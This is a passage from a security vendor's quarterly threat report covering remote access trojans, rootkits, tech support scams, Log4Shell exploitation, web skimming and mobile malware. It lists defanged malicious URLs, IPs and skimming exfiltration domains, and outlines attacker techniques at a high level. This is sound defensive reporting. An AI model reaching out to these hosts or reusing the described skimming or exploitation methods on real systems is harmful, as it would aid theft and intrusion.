The first one was the DarkWatchman RAT, written in JavaScript and on top of the programming language used, it differs from other RATs with one other special property: it lives in the system registry keys. This means that it uses registry keys to store its code, as well as to store temporary data, thus making it fileless.

Another RAT that appeared was ActionRAT, released by the SideCopy APT group in an attack on the government of Afghanistan. This RAT uses base64 encoding to obfuscate its strings and C&C domains. Its capabilities are quite simple, but still powerful so it could execute commands from a C&C server, upload, download and execute files, and retrieve the victim’s machine details.

We also observed two new RATs spread on Linux systems. CronRAT's name already tells us what it uses under the hood, but for what? This RAT uses cron jobs, which are basically scheduled tasks on Linux systems to store payloads. These tasks were scheduled on 31.2. (a non-existent date) and that’s why they were not triggered, so the payload could remain hidden. The second RAT from the Linux duo was NginRAT which was found on servers that were previously infected with CronRAT and served the same purpose: to provide remote access to the compromised systems.

Even though we saw a decrease in RAT activity at the end of December it won’t stay that way. Malicious actors will likely come back from their vacations fresh and will deliver new surprises. So stay tuned.

Samuel Sidor, Malware Researcher

Rootkits

We have recorded a significant increase in rootkit activity at Q4’21, illustrated in the chart below. This phenomenon can be explained by the increase in adware activity since the most active rootkit was the Cerbu rootkit. The primary function of Cerbu is to hijack browser homepages and redirect site URLs according to the rootkit configuration. So, this rootkit can be easily deployed and configured for adware.

The graph below shows that China is still the most at risk countries in terms of protected users, although attacks in China decreased by about 17%.

In Q4’21, the most significant increase of risk ratio was in Egypt and Vietnam. On the other hand, Taiwan, Hong Kong, and China reported approximately the same values as in the previous quarter. The most protected users were in the Czech Republic, Russian Federation, China, and Indonesia.

Martin Chlumecký, Malware Researcher

Technical support scams (TSS)

During the last quarter, we registered a significant wave of increased tech support scam activity. In Q4’21, we saw peaks at the end of December and we are already seeing some active spikes in January.

Activity of a long-term TSS campaign

The top targeted countries for this campaign are the United States, Brazil, and France. The activity of this campaign shows the tireless effort of the scammers and proves the increasing popularity of this threat.

In combination with other outgoing long-term campaigns, our data also shows two high spikes of activity of another campaign, lasting no longer than a few days, heavily targeting the United States and Canada, as well as other countries in Europe. This campaign had its peak at the end of November and the beginning of December, then it slowly died out.

Rise and fall and slow fall of the second campaign

Example of a typical URL for this short campaign:

hxxp://159.223.148.40/ViB888Code0MA888Error0888HElp008ViB700Vi/index.html

hxxp://157.245.222.59/security-alert-attention-dangerous-code-65296/88WiLi88Code9fd0CH888Error888HElp008700/index.html

We also noticed attempts at innovation as new variants of TSS samples appeared. So, not just a typical locked browser with error messages but other imitations like Amazon Prime, and PayPal. We are of course tracking these new variants and will see how popular they will be in the next quarter.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

As was already mentioned in the foreword, the vulnerability news in Q4’21 was dominated by Log4Shell. This vulnerability in Log4j – a seemingly innocent Java logging utility – took the infosec community by storm. It was extremely dangerous because of the ubiquity of Log4j and the ease of exploitation, which was made even easier by several PoC exploits, ready to be weaponized by all kinds of attackers. The root of the vulnerability was an unsafe use of JNDI lookups, a vulnerability class that Hewlett Packard researchers Alvaro Muñoz and Oleksandr Mirosh already warned about in their 2016 BlackHat talk. Nevertheless, the vulnerability existed in Log4j from 2013 until 2021, for a total of eight years.

For the attackers, Log4Shell was the greatest thing ever. They could just try to stuff the malicious string into whatever counts as user input and observe if it gets logged somewhere by a vulnerable version of Log4j. If it does, they just gained remote code execution in the absence of any mitigations. For the defenders on the other hand, Log4Shell proved to be a major headache. They had to find all the software in their organization that is (directly or indirectly) using the vulnerable utility and then patch it or mitigate it. And they had to do it fast, before the attackers managed to exploit something in their infrastructure. To make things even worse, this process had to be iterated a couple of times, because even some of the patched versions of Log4j turned out not to be that safe after all.

From a research standpoint, it was interesting to observe the way the exploit was adopted by various attackers. First, there were only probes for the vulnerability, abusing the JNDI DNS service provider. Then, the first attackers started exploiting Log4Shell to gain remote code execution using the LDAP and RMI service providers. The JNDI strings in-the-wild also became more obfuscated over time, as the attackers started to employ simple obfuscation techniques in an attempt to evade signature-based detection. As time went on, more and more attackers exploited the vulnerability. In the end, it was used to push all kinds of malware, ranging from simple coinminers to sophisticated APT implants.

In other vulnerability news, we continued our research into browser exploit kits. In October, we found that Underminer implemented an exploit for CVE-2021-21224 to join Magnitude in attacking unpatched Chromium-based browsers. While Magnitude stopped using its Chromium exploit chain, Underminer is still using it with a moderate level of success. We published a detailed piece of research about these Chromium exploit chains, so make sure to read it if you’d like to know more.

Jan Vojtěšek, Malware Researcher

Web skimming 

One of the top affected countries by web skimming in Q4’21 was Saudi Arabia, in contrast with Q3’21 we protected four times as many users in Saudi Arabia in Q4. It was caused by an infection of e-commerce sites souqtime[.]com and swsg[.]co. The latter loads malicious code from dev-connect[.]com[.]de. This domain can be connected to other known web skimming domains via common IP 195[.]54[.]160[.]61. The malicious code responsible for stealing credit card details loads only on the checkout page. In this particular case, it is almost impossible for the customer to recognize that the website is compromised, because the attacker steals the payment details from the existing payment form. The payment details are then sent to the attackers website via POST request with custom encoding (multiple base64 and substitution). The data sending is triggered on an “onclick” event and every time the text from all input fields is sent.

In Australia the most protected users were visitors of mobilitycaring[.]com[.]au. During Q4’21 this website was sending payment details to two different malicious domains, first was stripe-auth-api[.]com, and later the attacker changed it to booctstrap[.]com. This domain is typosquatting mimicking bootstrap.com. This is not the first case we observed where an attacker changed the exfiltration domain during the infection.

In Q4’21, we protected nearly twice as many users in Greece as in Q3’21. The reason behind this was the infected site retro23[.]gr, unlike the infected site from Saudi Arabia (swsg[.]co), in this case the payment form is not present on the website, therefore the attacker inserted their own. But as we can see in the image below, that form does not fit into the design of the website. This gives customers the opportunity to notice that something is wrong and not fill in their payment details. We published a detailed analysis about web skimming attacks, where you can learn more.

Pavlína Kopecká, Malware Analyst

Mobile

Premium SMS – UltimaSMS

Scams that siphon victims’ money away through premium SMS subscriptions have resurfaced in the last few months. Available on the Play Store, they mimic legitimate applications and games, often featuring catchy adverts. Once downloaded, they prompt the user to enter their phone number to access the app. Unbeknownst to the user, they are then subscribed to a premium SMS service that can cost up to $10 per week.

As users often aren’t inherently familiar with how recurring SMS subscriptions work, these scams can run for months unnoticed and cause an expensive phone bill for the victims. Uninstalling the app doesn’t stop the subscription, the victim has to contact their provider to ensure the subscription is properly canceled, adding to the hassle these scams create.

Avast has identified one such family of Premium SMS scams – UltimaSMS. These applications serve only to subscribe victims to premium SMS subscriptions and do not have any further functions. The actors behind UltimaSMS extensively used social media to advertise their applications and accrued over 10M downloads as a result.

According to our data the most targeted countries were those in the Middle East, like Qatar, Oman, Saudi Arabia or Kuwait. Although we’ve seen instances of these threats active even in other areas, like Europe, for instance in our home country – the Czech Republic. We attribute this widespread reach of UltimaSMS to its former availability on the Play Store and localized social media advertisements.

Jakub Vávra, Malware Analyst

Spyware – Facestealer

A newcomer this year, Facestealer, resurfaced on multiple occasions in Q4’21. It is a spyware that injects JavaScript into the inbuilt Android Webview browser in order to steal Facebook credentials. Masquerading as photo editors, horoscopes, fitness apps and others, it has been a continued presence in the last few months of 2021 and it appears to be here to stay. 

Facestealer apps look legitimate at first and they fulfill their described app functions. After a period of time, the apps’ C&C server sends a command to prompt the user to sign in to Facebook to continue using the app, without adverts. Users may have their guard down as they’ve used the app without issue up until now. The app loads the legitimate Facebook login website and injects malicious JS code to skim the users’ login credentials. The user may be unaware their social media account has been breached.

It is likely that, as with other spyware families we’ve seen in the past, Facestealer will be reused in order to target other social media platforms or even banks. The mechanism used in the initial versions can be adjusted as the attackers can load login pages from potentially any platform.

According to our threat data, this threat was mostly targeting our users in Africa and surrounding islands – Niger and Nigeria in the lead, followed by Madagascar, Zimbabwe and others.

Jakub Vávra, Malware Analyst
Ondřej David, Malware Analysis Team Lead

Fake Covid themed apps on the decline

Despite the pandemic raging on and governments implementing various new measures and introducing new applications such as Covid Passports, there’s been a steady decline in the number of fake Covid apps. Various bankers, spyware and trojans that imitated official Covid apps flooded the mobile market during 2020 and first half of 2021, but it seems they have now returned to disguising themselves as delivery apps, utility apps and others that we have seen before.

It’s possible that users aren’t as susceptible to fake Covid apps anymore or that the previous methods of attack proved more efficient for these pieces of malware, as evidenced for example on the massively successful campaigns of FluBot, which we reported on previously. Cerberus/Alien variants stood out as the bankers that were on the frontlines of fake Covid-themed apps. But similarly to some of this year’s newcomers such as FluBot or Coper bankers, the focus has now shifted back to the “original” attempts to breach users’ phones through SMS phishing while pretending to be a delivery service app, bank app or others.

During the beginning of the pandemic we were able to collect hundreds to thousands of new unique samples monthly disguising themselves as various apps connected to providing Covid information, Covid passes, vaccination proofs or contact tracing apps or simply just inserting the Covid/Corona/Sars keywords in their names or icons. During the second half of 2021 this trend has been steadily dropping. In Q4’21 we have seen only low 10s of such new samples.

Jakub Vávra, Malware Analyst
Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

The post Avast Q4/21 Threat report appeared first on Avast Threat Labs.